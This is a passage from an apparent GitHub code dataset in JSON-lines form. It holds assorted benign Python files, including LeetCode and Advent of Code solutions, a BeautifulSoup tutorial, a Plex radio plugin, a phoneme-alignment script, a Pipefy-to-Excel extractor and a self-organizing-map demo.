count_all_one += 1\n if string[i +1] == '1':\n count_all_zero += 1\n\n return min(count_all_one, count_all_zero)\n\n\n\n\nresult = find_count_to_turn_out_to_all_zero_or_all_one(input)\nprint(result)","repo_name":"skylermbang/Lectures-","sub_path":"hanghae99/sparta_algo/Week1/07_week1_homework2.py","file_name":"07_week1_homework2.py","file_ext":"py","file_size_in_byte":651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"20715317367","text":"import bs4\nfrom bs4 import BeautifulSoup\nimport re\n\nsoup = BeautifulSoup('Extremely bold','lxml')\ntag = soup.b\n\ntag.name = \"blockquote\"\ntag['class'] = 'verybold';\ntag['id']= 1\nprint(tag)\n\n# 给tag的.string尚需经赋值,就相当于用以前的内容替代了原来的内容\nmarkup = 'I linked to example.com'\nsoup = BeautifulSoup(markup,\"lxml\")\n\ntag = soup.a\nprint(tag)\ntag.string = \"New link text.\"\nprint(tag)\n\n# Tag.append() 方法向tag中添加内容,就好像Python的列表的 .append() 方法:\nsoup = BeautifulSoup(\"Foo\",\"lxml\")\nsoup.a.append(\"Bar\")\n\nprint(soup)\nprint(soup.a.contents)","repo_name":"YanshanSong/BeautifulSoup","sub_path":"16-修改文档树.py","file_name":"16-修改文档树.py","file_ext":"py","file_size_in_byte":669,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"39162635384","text":"from typing import Optional\n\n\nclass ListNode:\n def __init__(self, val=0, next=None):\n self.val = val\n self.next = next\n\n\nclass Solution:\n def swapPairs(self, head: Optional[ListNode]) -> Optional[ListNode]:\n new_head = ListNode()\n new_head.next = head\n pre = new_head\n while pre.next and pre.next.next:\n cur1, cur2, after = pre.next, pre.next.next, pre.next.next.next\n pre.next = cur2\n cur2.next = cur1\n cur1.next = after\n pre = cur1\n return new_head.next\n\n\nif __name__ == '__main__':\n z = ListNode(1, ListNode(2, ListNode(3, ListNode(4, ListNode(5)))))\n so = Solution()\n print(so.swapPairs(z))\n","repo_name":"BiqiangWang/leetcode","sub_path":"DataStructure/List/24.py","file_name":"24.py","file_ext":"py","file_size_in_byte":714,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"24145500462","text":"#############\n## credit to DiegoV in New Zealand for some nice simple code to work from\n#############\nTITLE = 'Radio Tuner'\nART = 'art-default.jpg'\nICON = 'icon-default.png'\n\nPREFIX = '/music/radiotuner'\n\n####################################################################################################\n\n# This function is initially called by the PMS framework to initialize the plugin. This includes\n# setting up the Plugin static instance along with the displayed artwork.\ndef Start():\n # Initialize the plugin\n Plugin.AddViewGroup('rt_view_group', viewMode = 'list', mediaType = 'items')\n\n # Setup the artwork associated with the plugin\n ObjectContainer.title1 = TITLE\n ObjectContainer.art = R(ART)\n ObjectContainer.view_group = 'rt_view_group'\n\n TrackObject.thumb = R(ICON)\n DirectoryObject.thumb = R(ICON)\n\n####################################################################################################\n\n@handler(PREFIX, TITLE)\ndef MainMenu(**kwargs):\n\n oc = ObjectContainer()\n\n i=1\n\n while Prefs['url'+str(i)] and Prefs['title'+str(i)] :\n oc.add(CreateTrackObject(url=Prefs['url'+str(i)], title=Prefs['title'+str(i)], fmt=Prefs['type'+str(i)]))\n i += 1\n\n return oc\n\n\n####################################################################################################\n#def CreateTrackObject(url, title, fmt, include_container=False, includeBandwidths=False ):\ndef CreateTrackObject(url, title, fmt, include_container=False ):\n \n\t# choose container and codec to use for the supplied format\n if fmt == 'mp3':\n container = Container.MP3\n audio_codec = AudioCodec.MP3\n elif fmt == 'aac':\n container = Container.MP4\n audio_codec = AudioCodec.AAC\n# elif fmt == 'hls':\n# # This needs some more work, should use PartObject(key=HTTPLiveStreamURL(url))\n# protocol = 'hls'\n# container = 'mpegts'\n# # video_codec = VideoCodec.H264\n# # audio_codec = AudioCodec.AAC\n elif fmt == '.flac':\n container = Container.FLAC\n audio_codec = AudioCodec.FLAC\n elif fmt == '.ogg':\n container = Container.OGG\n audio_codec = AudioCodec.OGG\n else:\n container = Container.MP3\n audio_codec = AudioCodec.MP3\n\n track_object = TrackObject(\n# key=Callback(CreateTrackObject, url=url, title=title, fmt=fmt, include_container=True, includeBandwidths=False),\n key=Callback(CreateTrackObject, url=url, title=title, fmt=fmt, include_container=True),\n rating_key=url,\n title=title,\n thumb=R(ICON),\n items=[\n MediaObject(\n parts=[\n PartObject(key=url)\n ],\n container=container,\n audio_codec=audio_codec,\n audio_channels=2\n )\n ]\n )\n\n if include_container:\n return ObjectContainer(objects=[track_object])\n else:\n return track_object\n\n\n####################################################################################################\n#def PlayAudio(url, **kwargs):\n\t\n#\treturn Redirect(url)\n","repo_name":"sfeakes/Radio-Tuner.bundle","sub_path":"Contents/Code/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3142,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"53"} +{"seq_id":"252169948","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\nSolution for day22 2015\n\"\"\"\n\n__author__ = 'Guido Minieri'\n__license__ = 'GPL'\n\n\nwith open('input.txt', 'r') as f:\n data = f.read().rstrip()\n\nimport re\nimport copy\nfrom random import choice\n\nregex = r'\\d+'\nother_data = [int(x) for x in re.findall(regex, data)]\n\nspells = {\n 'Magic Missile': {\n 'cost': 53,\n 'dmg': 4,\n 'effect': [None]\n },\n 'Drain': {\n 'cost': 73,\n 'dmg': 2,\n 'effect': [None]\n },\n 'Shield': {\n 'cost': 113,\n 'dmg': None,\n 'effect': ['Shield', 7, 6]\n },\n 'Poison': {\n 'cost': 173,\n 'dmg': None,\n 'effect': ['Poison', 3, 6]\n },\n 'Recharge': {\n 'cost': 229,\n 'dmg': None,\n 'effect': ['Recharge', 101, 5]\n }\n}\n\nclass Sorcerer:\n\n def __init__(self, hlt, dmg, mana, spells=None):\n self.hlt = hlt\n self.dmg = dmg\n self.mana = mana\n self.spent = 0\n self.arm = 0\n self.effects = {}\n self.reserve = []\n if spells:\n self.magic = self.grimoire(spells)\n\n def apply(self):\n if self.effects == {}:\n return None\n self.effects = {k:v for k,v in self.effects.items() if v[0] != 0}\n\n for key in self.effects.keys():\n timer, amt = self.effects[key]\n self.effects[key][0] = timer - 1\n if key == 'Recharge':\n self.mana += amt\n elif key == 'Poison':\n self.hlt -= amt\n elif key == 'Shield':\n self.arm = amt\n if timer == 1:\n self.arm = 0\n\n def get_spell(self, name):\n for s in self.magic:\n if s.name == name:\n return s\n\n def cast(self, other):\n try:\n spell = self.reserve.pop(0)\n except:\n return True\n self.spent += spell.cost\n self.mana -= spell.cost\n if len(spell.effect) == 3:\n eff, val, turn = spell.effect\n if spell.name in ['Shield', 'Recharge']:\n self.effects[spell.name] = [turn, val]\n elif spell.name == 'Poison':\n other.effects[spell.name] = [turn, val]\n elif spell.name == 'Magic Missile':\n other.hlt -= spell.dmg\n elif spell.name == 'Drain':\n other.hlt -= spell.dmg\n self.hlt += spell.dmg\n\n def grimoire(self, spells):\n return Spell.make_grimoire(spells)\n\n def __repr__(self):\n return f\"HLT:{self.hlt} ATK:{self.dmg} MAN:{self.mana}\"\n\nclass Spell:\n\n def __init__(self, name, cost, dmg, effect):\n self.name = name\n self.cost = cost\n self.dmg = dmg\n self.effect = effect\n\n @classmethod\n def make_grimoire(cls, dct):\n res = []\n for name, props in dct.items():\n cost, dmg, effects = props.values()\n res.append(cls(name, cost, dmg, effects))\n return res\n\n def __repr__(self):\n return f\"{self.name}\"\n\ndef gen():\n x = [1, 0]\n while True:\n for i in x:\n yield i\n\ndef play(p1, p2, sp, hard=False):\n me = copy.deepcopy(p1)\n other = copy.deepcopy(p2)\n me.reserve = [me.get_spell(x) for x in sp]\n for i in gen():\n if i:\n if hard:\n me.hlt -= 1\n me.apply()\n other.apply()\n if other.hlt <= 0:\n return me.spent\n out = me.cast(other)\n if out:\n return False\n if me.mana < 0:\n return False\n if other.hlt <= 0:\n return me.spent\n else:\n me.apply()\n other.apply()\n if other.hlt <= 0:\n return me.spent\n me.hlt -= (other.dmg - me.arm)\n if me.hlt <= 0:\n return False\n\ndef generate_spells(spells, l):\n res = []\n res.append(choice(spells))\n while len(res) < l:\n nx = choice(spells)\n if nx != res[-1]:\n res.append(nx)\n return res\n\nme = Sorcerer(50, 0, 500, spells)\nsorcerer = Sorcerer(*other_data, 0)\nspells = [x for x in spells if x != 'Drain']\n# pt 1\nwins = []\nwhile len(wins) < 5:\n mana = play(me, sorcerer, generate_spells(spells, 12))\n if mana:\n wins.append(mana)\nprint(min(wins))\n# pt 2\nhard_wins = []\nwhile len(hard_wins) < 3:\n hard_mana = play(me, sorcerer, generate_spells(spells, 13), True)\n if hard_mana:\n hard_wins.append(hard_mana)\nprint(min(hard_wins))\n","repo_name":"gmnr/advent-of-code","sub_path":"2015/22/day22.py","file_name":"day22.py","file_ext":"py","file_size_in_byte":4531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"11754007432","text":"def main():\n # 나이트의 이동 가능 경우의 수 구하기\n knight_point = input()\n row = int(ord(knight_point[0])) - int(ord('a')) + 1\n col = int(knight_point[1])\n\n # 나이트의 이동 가능 row, col 좌표\n d_row = [2, 1, -1, -2, -2, -1, 1, 2]\n d_col = [1, 2, 2, 1, -1, -2, -2, -1]\n count = 0\n for i in range(len(d_row)):\n nx = row + d_row[i]\n ny = col + d_col[i]\n # out of range error.\n if nx <= 0 or nx > 8 or ny <= 0 or ny > 8:\n continue\n else:\n count += 1\n print(count)\n\nif __name__ == \"__main__\":\n main()","repo_name":"ybkim-dev/algorithms","sub_path":"구현/왕실의 나이트.py","file_name":"왕실의 나이트.py","file_ext":"py","file_size_in_byte":611,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"8043948629","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# vim: set fileencoding=utf-8\n#\n# Grupo FalaBrasil (2020)\n# Universidade Federal do Pará\n#\n# author: mar 2020\n# cassio batista - https://cassota.gitlab.io/\n# last edited: jul 2020\n\nimport sys\nimport os\n\nfrom queue import Queue\nfrom termcolor import colored\nimport config\n\nfrom fb_textgrid import TextGrid, TextGridIO\n\nTAG = sys.argv[0]\nPADD = list('###')\nDEGUB = False\n\ndef is_vowel(ch):\n \"\"\" check if a char is a vowel \"\"\"\n\n if ch.lower() in list('aeiou'):\n return True\n return False\n\n\ndef m2m_bi2uni(m2m_list):\n \"\"\" Splits a bigram word model into a unique unigram word model\n\n i=11, j=3 i=10, j=3 i=9,10,11,12, j=3,4,5,6\n ###leilatem### ###leilatem### ###leilatem###\n ###temum### ###temum### ###temum###\n ^ ^ ^^^^ m: mismatch\n m m MMMm M: match\n \"\"\"\n\n q = Queue(maxsize=2)\n phonemes_list = []\n while len(m2m_list): # NOTE can be optmised removing this while\n while not q.full():\n bigram = m2m_list.pop(0)\n q.put(PADD + bigram + PADD)\n curr_word = q.get()\n next_word = q.get()\n i = len(curr_word) - 1 - len(PADD) # to decrease backwards\n j = len(PADD) # to increase forward\n unmatch_count = 0\n match = False\n #print(curr_word, '***********************************')\n #print(next_word, '***********************************')\n while not match:\n # scan the first section: mismatch (m)\n while curr_word[i] != next_word[j]:\n #print('%-6s %-6s %02d %02d <- bi2uni' % (curr_word[i], \n # next_word[j], i, j))\n i -= 1\n unmatch_count += 1\n #print('%-6s %-6s' % (curr_word[i], next_word[j]))\n # gambiarra master to avoid mismatches like in 's e j s'\n if unmatch_count == 0 and not is_vowel(curr_word[i][0]):\n i -= 1\n unmatch_count += 1\n continue\n #print('possible match')\n for k in range(unmatch_count + len(PADD)):\n # scan the second section: a match (M)\n if curr_word[i + k] == next_word[j + k]:\n continue\n else: \n # found third section: right mismatch with PADD (m)\n if curr_word[i + k] == '#': # check immediate mismatch\n match = True\n #print('match! ->', end=' ')\n #print(curr_word[len(PADD):i])\n else:\n #print('houston we have a problem: (%s, %s)' %\n # (curr_word[i + k], next_word[j + k]))\n i -= 1\n unmatch_count += 1\n break\n phonemes_list.append(curr_word[len(PADD):i])\n q.put(next_word)\n phonemes_list.append(next_word[len(PADD):j + k])\n phonemes_list.append(next_word[j + k:-len(PADD)])\n return phonemes_list\n\n\ndef map_ds_m2m_to_tg(m2m, tg):\n \"\"\" Maps dataset's tg (including timestamps) to new tg using m2m aligns\n\n it also merges two or more phonemes into one, which affects\n timestamps\n \"\"\"\n\n phonemes = list(tg.get_phonemes())\n timestamps = list(tg.get_phoneme_timestamps())\n #print(phonemes, '>>>>>>>>>>>>>>>>>>>>>>>>>')\n #print(timestamps, '>>>>>>>>>>>>>>>>>>>>>>>>>>')\n tg_ali = TextGrid(init_default_items=True)\n tg_ali.add_phoneme_timestamp(0.0)\n time_i = 1\n while len(phonemes):\n i = 0\n j = 0\n tg_word = phonemes.pop(0)\n if tg_word == ['_']:\n tg_ali.add_phonemes(list(tg_word))\n tg_ali.add_phoneme_timestamp(timestamps[time_i])\n time_i += 1\n continue\n m2m_word = m2m.pop(0)\n #print(i, j, tg_word, m2m_word)\n #print('###', tg_ali.get_phonemes())\n if tg_word == m2m_word:\n tg_ali.add_phonemes(list(tg_word))\n for phone in tg_word:\n tg_ali.add_phoneme_timestamp(timestamps[time_i])\n time_i += 1\n continue\n phones = []\n times = []\n while i < len(tg_word):\n #print('>>>>>>>>>>>', phones, i, j, tg_word[i], m2m_word[j])\n if tg_word[i] == '_':\n phones.append(tg_word[i])\n times.append(timestamps[time_i])\n i += 1\n time_i += 1\n elif tg_word[i] == m2m_word[j]:\n #print('eita jesus', phones, times, timestamps[time_i])\n phones.append(m2m_word[j])\n times.append(timestamps[time_i])\n i += 1\n j += 1\n time_i += 1\n elif tg_word[i].count(':') > 0:\n print('what the fuck this is weird')\n elif m2m_word[j].count(':') > 0:\n diphon = True\n for k, dp in enumerate(m2m_word[j].split(':')):\n if dp != tg_word[i]:\n print('what the hell is going on here')\n diphon = False\n break\n i += 1\n if diphon:\n phones.append(m2m_word[j])\n #times.append(sum(timestamps[time_i:time_i + k + 1]))\n times.append(timestamps[time_i + k])\n time_i += k + 1\n j += 1\n tg_ali.add_phonemes(list(phones))\n for t in times:\n tg_ali.add_phoneme_timestamp(t)\n # FIXME CB: right now we only have interest in phonemes so every other\n # tier will be copied *as it is* from the original TextGrid,\n # which means phones will not be broken or split.\n tg_ali.set_syllphones(tg.get_syllphones()) # 2\n tg_ali.set_syllphone_timestamps(tg.get_syllphone_timestamps())\n tg_ali.set_wordgraphs(tg.get_wordgraphs()) # 3\n tg_ali.set_wordgraph_timestamps(tg.get_wordgraph_timestamps())\n tg_ali.set_phrasephone(tg.get_phrasephone(nested=False)) # 4b\n tg_ali.set_phrasephone_timestamps(tg.get_phrasephone_timestamps())\n tg_ali.set_phrasegraph(tg.get_phrasegraph(nested=False)) # 5\n tg_ali.set_phrasegraph_timestamps(tg.get_phrasegraph_timestamps())\n #print(tg_ali.get_phonemes(), '<<<<<<<<<<<<<<<<<<<<')\n #print(tg_ali.get_phoneme_timestamps(precision=2), '<<<<<<<<<<<<<<<<<<<<')\n return tg_ali.lower()\n\n\ndef map_fb_m2m_to_tg(m2m, tg):\n \"\"\" map dataset's new aligned tg to falabrasil's tg, using m2m phones\n\n it also splits a phoneme into two or more, which affects\n timestamps\n \"\"\"\n\n phonemes = list(tg.get_phonemes())\n timestamps = list(tg.get_phoneme_timestamps())\n #print(tg.get_phoneme_timestamps(precision=2))\n tg_ali = TextGrid(init_default_items=True)\n tg_ali.add_phoneme_timestamp(0.0)\n time_i = 1\n while len(phonemes):\n i = 0\n j = 0\n tg_word = phonemes.pop(0)\n if tg_word == ['_']:\n tg_ali.add_phonemes(list(tg_word))\n tg_ali.add_phoneme_timestamp(timestamps[time_i])\n time_i += 1\n continue\n m2m_word = m2m.pop(0)\n #print(i, j, tg_word, m2m_word, '*********************')\n #print('%%%', tg_ali.get_phonemes())\n if tg_word == m2m_word:\n tg_ali.add_phonemes(list(tg_word))\n for phone in tg_word:\n tg_ali.add_phoneme_timestamp(timestamps[time_i])\n time_i += 1\n continue\n phones = []\n times = []\n #print(m2m_word, j, '########################')\n while i < len(tg_word):\n #print(phones, i, j, tg_word[i], m2m_word[j])\n if tg_word[i] == '_':\n phones.append(tg_word[i])\n times.append(timestamps[time_i])\n i += 1\n time_i += 1\n elif m2m_word[j].count(':') > 0:\n #print(m2m_word[j], '<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<')\n for k, dp in enumerate(m2m_word[j].split(':')):\n phones.append(dp)\n i += 1\n #print(phones)\n #if time_i + 1 < len(timestamps):\n # #time_off = timestamps[time_i + 1] - timestamps[time_i - 1]\n # time_off = timestamps[time_i] - timestamps[time_i - 1]\n # time_off = time_off / float(k + 2)\n #else:\n time_off = timestamps[time_i] - timestamps[time_i - 1]\n time_off = time_off / (k + 1) # CB: FIXED\n for t in range(1, k + 2):\n times.append(timestamps[time_i - 1] + float(t) * time_off)\n time_i += 1\n j += 1\n else: # one to one map, swift!\n #print('eita jesus', phones, times)\n phones.append(m2m_word[j])\n times.append(timestamps[time_i])\n i += 1\n j += 1\n time_i += 1\n tg_ali.add_phonemes(list(phones))\n for t in times:\n tg_ali.add_phoneme_timestamp(t)\n # FIXME CB: right now we only have interest in phonemes so every other\n # tier will be copied *as it is* from the original TextGrid,\n # which means phones will not be broken or split.\n tg_ali.set_syllphones(tg.get_syllphones()) # 2\n tg_ali.set_syllphone_timestamps(tg.get_syllphone_timestamps())\n tg_ali.set_wordgraphs(tg.get_wordgraphs()) # 3\n tg_ali.set_wordgraph_timestamps(tg.get_wordgraph_timestamps())\n #tg_ali.set_phrasephone(tg.get_phrasephone(nested=False)) # 4b\n phrasephone = ''\n for l in tg_ali.get_phonemes():\n for p in l:\n if p != '_':\n phrasephone += p\n phrasephone += ' '\n tg_ali.set_phrasephone([phrasephone.strip()]) # 4b\n tg_ali.set_phrasephone_timestamps(tg.get_phrasephone_timestamps())\n tg_ali.set_phrasegraph(tg.get_phrasegraph(nested=False)) # 5\n tg_ali.set_phrasegraph_timestamps(tg.get_phrasegraph_timestamps())\n return tg_ali.lower()\n\ndef transpose_m2m(m2m_list):\n \"\"\" converts single line single column to multi line double column \"\"\"\n\n ds_list, fb_list = [], []\n for entry in m2m_list:\n if entry == '':\n continue\n ds, fb = entry.split('\\t')\n ds_list.append(ds.strip('|').split('|'))\n fb_list.append(fb.strip('|').split('|'))\n return ds_list, fb_list\n\ndef divide():\n print('-----------------------------------------------------', end='')\n print('-----------------------------------------------------', end='')\n print('-----------------------------------------------------', end='')\n print('-----------------------------------------------------')\n\nif __name__ == '__main__':\n if len(sys.argv) != 4:\n print('usage: %s ')\n print(' is a list of .textgrid file paths')\n print(' is a list of .textgrid file paths')\n print(' is the dir to store the mapped tg files')\n sys.exit(1)\n\n if os.path.isdir(sys.argv[3]):\n print('warning: dir `%s` exists and will be overwritten' % sys.argv[3])\n else:\n os.mkdir(sys.argv[3])\n\n # TODO use arparse for file names\n with open(sys.argv[2], 'r') as f:\n m2m = f.read().split('%s|\\t%s|\\n' % (config.DELIM_SENT, config.DELIM_SENT))\n\n io = TextGridIO(sys.argv[1]) # TODO use argparse instead\n for index, filepath in enumerate(io.get_tg_filelist()):\n tg_dataset = io.parse_tg_from_file(filepath)\n if filepath in config.TG_EXCEPT:\n print(colored('[%s] `%s` skp' % (TAG, filepath), 'red'),\n end=' ')\n print(tg_dataset.get_phrasegraph(), end=' -> ')\n print(tg_dataset.get_phrasephone())\n if DEGUB:\n divide()\n continue\n elif filepath in config.TG_HEAVY_CROSS:\n print(colored('[%s] `%s` skp' % (TAG, filepath), 'yellow'),\n end=' ')\n print(tg_dataset.get_phrasegraph(), end=' -> ')\n print(tg_dataset.get_phrasephone())\n m2m.pop(0) # print this if you want\n if DEGUB:\n divide()\n continue\n else:\n print(colored('[%s] `%s` ok!' % (TAG, filepath), 'green'),\n end=' ')\n print(tg_dataset.get_phrasegraph(), end=' -> ')\n print(tg_dataset.get_phrasephone())\n #print('inspect tg_datset:')\n #tg_dataset.inspect()\n # NOTE do I really need pop here? indexing list myabe?\n m2m_dataset, m2m_falabrasil = transpose_m2m(m2m.pop(0).split('\\n'))\n if DEGUB:\n print('mds bi ', m2m_dataset)\n print('mfb bi ', m2m_falabrasil)\n # unfold bigram word representation into single word representation\n m2m_dataset = m2m_bi2uni(m2m_dataset)\n m2m_falabrasil = m2m_bi2uni(m2m_falabrasil)\n if DEGUB:\n print('mds uni', m2m_dataset)\n print('mfb uni', m2m_falabrasil)\n # map phones and timestamps from datasets\n tg_dataset_align = map_ds_m2m_to_tg(m2m_dataset, tg_dataset)\n #print('inspect tg_datset_align:')\n #tg_dataset_align.inspect()\n tg_falabrasil_align = map_fb_m2m_to_tg(m2m_falabrasil, tg_dataset_align)\n #print('inspect tg_falabrasil_align:')\n #tg_falabrasil_align.inspect()\n if DEGUB:\n print('ds file', tg_dataset.get_phonemes())\n print('tg dsa ', tg_dataset_align.get_phonemes())\n print('tg fba ', tg_falabrasil_align.get_phonemes())\n divide()\n outfile = os.path.join(sys.argv[3], os.path.basename(filepath))\n io.write_tg_to_file(tg_falabrasil_align, outfile)\n\n sys.stderr.write('[%s] finished successfully!' % TAG)\n sys.stderr.write(' \\n') # hehe\n","repo_name":"falabrasil/ufpalign","sub_path":"simulation/20_bracis_kaldi/g2p_map/m2m2tg.py","file_name":"m2m2tg.py","file_ext":"py","file_size_in_byte":14291,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"53"} +{"seq_id":"32441188878","text":"import random\n\n# 猜0~100之间的数字\nnumber = random.randint(0, 100)\nwhile True:\n p = int(input(\"请输入0-100之间的数字:\"))\n if p > number:\n print(\"猜大了\")\n elif p < number:\n print(\"猜小了\")\n else:\n print(\"猜对啦!\")\n break\n","repo_name":"suruomo/Python-Practice","sub_path":"practice/demo/number_riddle.py","file_name":"number_riddle.py","file_ext":"py","file_size_in_byte":288,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"29529263772","text":"# -*- coding:utf-8 -*-\n# /usr/bin/python3\n\n\nimport re\nfrom unidecode import unidecode\nfrom utils.Pipefy import Pipefy\nfrom utils.ExcelUtils import excel\n\nclass pipefy():\n def __init__(self, token, caminho_db, nome_db, caminho_excel, nome_excel):\n self._token = token\n self._pipe_id = 1102385\n self._dict_datas = {}\n self._excel_utils = excel(caminho_excel, nome_excel)\n self._db_utils = excel(caminho_db, nome_db)\n\n def extract_datas(self):\n _pipefy = Pipefy(self._token)\n _pipes = _pipefy.pipes([self._pipe_id])[0]\n _count = 1\n for _cards in _pipes['phases']:\n if 'resposta recebida' in _cards['name'].lower():\n for _edge in _cards['cards']['edges']:\n self._dict_datas[_count] = {'id_card': '',\n 'titulo': '',\n 'vaga': '',\n 'nivel': '',\n 'motivo_recusa': '',\n 'soube_vaga': ''}\n print(\"Id do card: {}\".format(_edge['node']['id']))\n print(\"Titulo do card: {}\".format(_edge['node']['title']))\n self._dict_datas[_count].update({'id_card': _edge['node']['id'], 'titulo': _edge['node']['title']})\n _infos_card = _pipefy.card(_edge['node']['id'])\n for _fields in _infos_card['fields']:\n if ('selecionar vaga' in _fields['name'].lower()):\n print(\"Vaga: {}\".format(re.sub(r'[^a-zA-Z\\s0-9]', '', _fields['value'].strip())))\n self._dict_datas[_count].update({'vaga': re.sub(r'[^a-zA-Z\\s0-9]', '', _fields['value'].strip())})\n\n elif ('nível' in _fields['name'].lower()):\n # print(\"Nível: {}\".format(_fields['value'].strip()))\n self._dict_datas[_count].update({'nivel': _fields['value'].strip()})\n\n elif ('motivo da recusa' in _fields['name'].lower()):\n print(\"Motivos da recusa: {}\".format(_fields['value'].strip()))\n self._dict_datas[_count].update({'motivo_recusa': _fields['value'].strip()})\n\n elif ('como soube da vaga' in _fields['name'].lower()):\n print(\"Como soube da vaga: {}\".format(_fields['value'].strip()))\n self._dict_datas[_count].update({'soube_vaga': _fields['value'].strip()})\n print(\"-\" * 20)\n _exist_card = self._consult_db(self._dict_datas[_count])\n if(_exist_card):\n del self._dict_datas[_count]\n continue\n else:\n self._db_utils.update_excel(self._dict_datas[_count])\n motivos_recusa = self._dict_datas[_count]['motivo_recusa'].split(\",\")\n if(len(motivos_recusa) > 1):\n self._dict_datas[_count].update({'motivo_recusa': re.sub(r'[^a-zA-Z\\s0-9]', '', unidecode(motivos_recusa[0]).strip())})\n for motivo_recusa in motivos_recusa[1:]:\n _copy_dict = self._dict_datas[_count].copy()\n _count += 1\n self._dict_datas[_count] = _copy_dict\n self._dict_datas[_count].update({'motivo_recusa': re.sub(r'[^a-zA-Z\\s0-9]', '', unidecode(motivo_recusa).strip())})\n _count += 1\n self._excel_utils.update_excel(self._dict_datas)\n\n def _consult_db(self, _data):\n _dict_db = self._db_utils.read_excel(db=True)\n try:\n for _index_db, _row_db in _dict_db.items():\n if(int(_row_db['id_card'])==int(_data['id_card'])):\n return True\n return False\n except Exception as erro:\n print(erro)","repo_name":"BrunoPisaneschi/extracao-dados-pipefy","sub_path":"flow/FlowMaster.py","file_name":"FlowMaster.py","file_ext":"py","file_size_in_byte":4073,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"32338369002","text":"from mvpa2.suite import *\n\n\"\"\"\nFirst, we define some colors as RGB values from the interval (0,1),\ni.e. with white being (1, 1, 1) and black being (0, 0, 0). Please\nnote, that a substantial proportion of the defined colors represent\nvariations of 'blue', which are supposed to be represented in more\ndetail in the SOM.\n\"\"\"\n\nimport csv\nfrom collections import defaultdict\n\ncolumns = defaultdict(list) # each value in each column is appended to a list\n\nwith open('output.csv') as f:\n reader = csv.DictReader(f) # read rows into a dictionary format\n for row in reader: # read a row as {column1: value1, column2: value2,...}\n for (k,v) in row.items(): # go over each column name and value \n columns[k].append(v) # append the value into the appropriate list\n # based on column name k\n\n# %DV of nutrients for food items\nnutrients = np.array(\n [columns['apple'], columns['banana'], columns['beef'],\n columns['butter'], columns['cheese'], columns['chex-mix'],\n columns['commodity-beef'], columns['egg'], columns['gogurt'],\n columns['greek-yogurt'], columns['margarine'], columns['pepsi']])\n\n\n# store the names of the food items for visualization later on\nfood_names = \\\n ['apple', 'banana', 'beef', 'butter', 'cheese',\n 'chex-mix', 'commodity-beef', 'egg', 'gogurt',\n 'greek-yogurt', 'margarine', 'pepsi']\n \n\n\"\"\"\nNow we can instantiate the mapper. It will internally use a so-called\nKohonen layer to map the data onto. We tell the mapper to use a\nrectangular layer with 20 x 30 units. This will be the output space of\nthe mapper. Additionally, we tell it to train the network using 400\niterations and to use custom learning rate.\n\"\"\"\n\nsom = SimpleSOMMapper((30, 40), 400, learning_rate=0.05)\n\n\"\"\"\nFinally, we train the mapper with the previously defined 'color' dataset.\n\"\"\"\n\nsom.train(nutrients)\n\n\"\"\"\nEach unit in the Kohonen layer can be treated as a pointer into the\nhigh-dimensional input space, that can be queried to inspect which\ninput subspaces the SOM maps onto certain sections of its 2D output\nspace. The color-mapping generated by this example's SOM can be shown\nwith a single matplotlib call:\n\"\"\"\n\npl.imshow(som.K, origin='lower')\n\n\"\"\"\nAnd now, let's take a look onto which coordinates the initial training\nprototypes were mapped to. The get those coordinates we can simply feed\nthe training data to the mapper and plot the output.\n\"\"\"\n\nmapped = som(nutrients)\n\npl.title('Food SOM')\n# SOM's kshape is (rows x columns), while matplotlib wants (X x Y)\nfor i, m in enumerate(mapped):\n pl.text(m[1], m[0], food_names[i], ha='center', va='center',\n bbox=dict(facecolor='white', alpha=0.5, lw=0))\n\n\"\"\"\nThe text labels of the original training colors will appear at the 'mapped'\nlocations in the SOM -- and should match with the underlying color.\n\"\"\"\n\n# show the figure\nif cfg.getboolean('examples', 'interactive', True):\n pl.show()\n\n\"\"\"\nThe following figure shows an exemplary solution of the SOM mapping of the\n3D color-space onto the 2D SOM node layer:\n.. image:: ../pics/ex_som.*\n :align: center\n :alt: Color-space mapping by a self-organizing map.\n\"\"\"\n","repo_name":"khyemi/SOM","sub_path":"food_som.py","file_name":"food_som.py","file_ext":"py","file_size_in_byte":3216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"33726177598","text":"from tkinter import*\nfrom tkinter import ttk\nfrom tkinter import messagebox\nfrom collections import Counter\nfrom bson.objectid import ObjectId\nimport conexion\nimport pymongo\n\n\ndef obtener_top_ubicaciones(coleccion, num_locations=3):\n \"\"\"Obtiene las ubicaciones mas comunes\"\"\"\n\n # Agregación para obtener las ubicaciones más usadas\n pipeline = [\n {\"$group\": {\"_id\": \"$userLocation\", \"count\": {\"$sum\": 1}}},\n {\"$sort\": {\"count\": -1}},\n {\"$limit\": num_locations}\n ]\n\n top_locations = list(coleccion.aggregate(pipeline))\n\n return top_locations\n\n\ndef obtener_mas_comunes_fuentes(coleccion, num_sources=3):\n\n\n # Obtener los valores del campo \"tweetSource\"\n tweet_sources = [doc[\"tweetSource\"] for doc in coleccion.find()]\n\n # Calcular las fuentes más comunes\n sources_counter = Counter(tweet_sources)\n most_common_sources = sources_counter.most_common(num_sources)\n\n return most_common_sources\n\n#Sirve para mostrar los datos\ndef mostrarDatos():\n objetoBuscar={} # Crea un objeto de búsqueda vacío\n try:\n #Obtiene la conexion a la bd\n coleccion = conexion.ObtenerConexion()\n\n registros=tabla.get_children()\n for registro in registros:\n tabla.delete(registro) # Borra los registros actuales en la tabla\n for documento in coleccion.find(objetoBuscar):\n # Inserta en la tabla un nuevo registro con el ID y valores seleccionados del documento\n 